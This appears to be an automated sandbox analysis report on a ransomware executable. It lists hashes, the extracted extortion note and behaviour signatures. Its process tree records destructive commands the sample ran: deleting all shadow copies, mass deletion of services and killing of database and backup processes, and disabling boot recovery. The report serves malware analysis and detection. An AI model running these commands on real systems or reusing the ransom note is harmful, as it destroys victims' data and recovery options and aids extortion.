Overview

overview

10

Static

static

10

4db69a0643...67.exe

windows7-x64

10

4db69a0643...67.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    88s
  • max time network
    81s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    18-10-2022 07:20

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General

  • Target

    4db69a0643f6ec795e5450a0563605e91293f233aa60715ae09ed8effa3b7267.exe

  • Size

    159KB

  • MD5

    14de179afe8e29f828080ad79d523a3f

  • SHA1

    5d56729c8a80c738c05d5e10bb10664c40186c4b

  • SHA256

    4db69a0643f6ec795e5450a0563605e91293f233aa60715ae09ed8effa3b7267

  • SHA512

    fb8ea8c95d1dd6551787528dd2bfeece2543ba0c59347005b63282ed4a5ef6d6c3c8fcdb31af3d409a78d15fef206d637568ae1131521739abfc1b99fd9c3d31

  • SSDEEP

    3072:4ZpcABtMGjkIuuWxCwfKp8vdjwOYvGCbY0oTZRz35cRttX2laYZliyQkV:4ZpcvwNweMwdvTLAZJit9y3V

Score
10/10
evasionransomware

Malware Config

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-4063495947-34355257-727531523-1000\RECOVERY FILES.txt

Ransom Note
YOUR FILES ARE ENCRYPTED !!! TO DECRYPT, FOLLOW THE INSTRUCTIONS: To recover data you need decrypt tool. To get the decrypt tool you should: 1.In the letter include your personal ID! Send me this ID in your first email to me! 2.We can give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files! 3.After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tool! 4.We can decrypt few files in quality the evidence that we have the decoder. Do not rename, do not use third-party software or the data will be permanently damaged CONTACT US: [email protected] If first email will not reply in 24 hours then contact with reserve address: [email protected] YOUR PERSONAL ID: A514B7427926 In case of non-payment of the ransom, your data may be published in the public domain. Our page in twitter with data leaks: https://twitter.com/mallox_leaks �
URLs

https://twitter.com/mallox_leaks

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 18 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Stops running service(s) 3 TTPs
    evasion
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4db69a0643f6ec795e5450a0563605e91293f233aa60715ae09ed8effa3b7267.exe
    "C:\Users\Admin\AppData\Local\Temp\4db69a0643f6ec795e5450a0563605e91293f233aa60715ae09ed8effa3b7267.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\system32\vssadmin.exe
      "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:1880
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C sc delete MsDtsServer100&&sc delete MSSQL$SOPHOS&&sc delete MSSQLFDLauncher&&sc delete MSSQLSERVER&&sc delete MSSQLServerADHelper100&&sc delete MSSQLServerOLAPService&&sc delete ReportServer&&sc delete SQLAgent$SOPHOS&&sc delete "SQLANYs_sem5"&&sc delete SQLBrowser&&sc delete SQLSERVERAGENT&&sc delete SQLWriter&&sc delete B1LicenseService&&sc delete b1s50000&&sc delete b1s50001&&sc delete b1s50002&&sc delete B1ServerTools&&sc delete B1ServerTools64&&sc delete B1Workflow&&sc delete COMSysApp&&sc delete Gatekeeper64&&sc delete isapnp&&sc delete "SAP Business One RSP Agent Service"&&sc delete SBOClientAgent&&sc delete "SBODI_Server"&&sc delete SBOMail&&sc delete SBOWFDataAccess&&taskkill /f /im db*&&taskkill /f /im apache*&&taskkill /f /im mysql*&&taskkill /f /im Notifier*&&taskkill /f /im IBM*&&taskkill /f /im copy*&&taskkill /f /im store*&&taskkill /f /im sql*&&taskkill /f /im vee*&&taskkill /f /im wrsa*&&taskkill /f /im postg*&&taskkill /f /im sage*&&taskkill /f /im msdt*&&taskkill /f /im ora*&&taskkill /f /im microsoft*&&taskkill /f /im backup*&&taskkill /f /im http*&&taskkill /f /im office*&&taskkill /f /im cube*&&taskkill /f /im team*&&taskkill /f /im b1*&&taskkill /f /im sbo*&&taskkill /f /im reporting*&&taskkill /f /im sav*&&taskkill /f /im fd*&&taskkill /f /im microsoft*&&net stop MSSQLFDLauncher&&net stop MSSQLServerOLAPService&&net stop ReportServer
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\SysWOW64\sc.exe
        sc delete MsDtsServer100
        3⤵
        • Launches sc.exe
        PID:1512
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
      2⤵
        PID:612
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
        2⤵
          PID:1568
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1716

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/1056-54-0x0000000075A71000-0x0000000075A73000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1056-56-0x00000000046F0000-0x00000000051AA000-memory.dmp

        Filesize

        10.7MB

        Download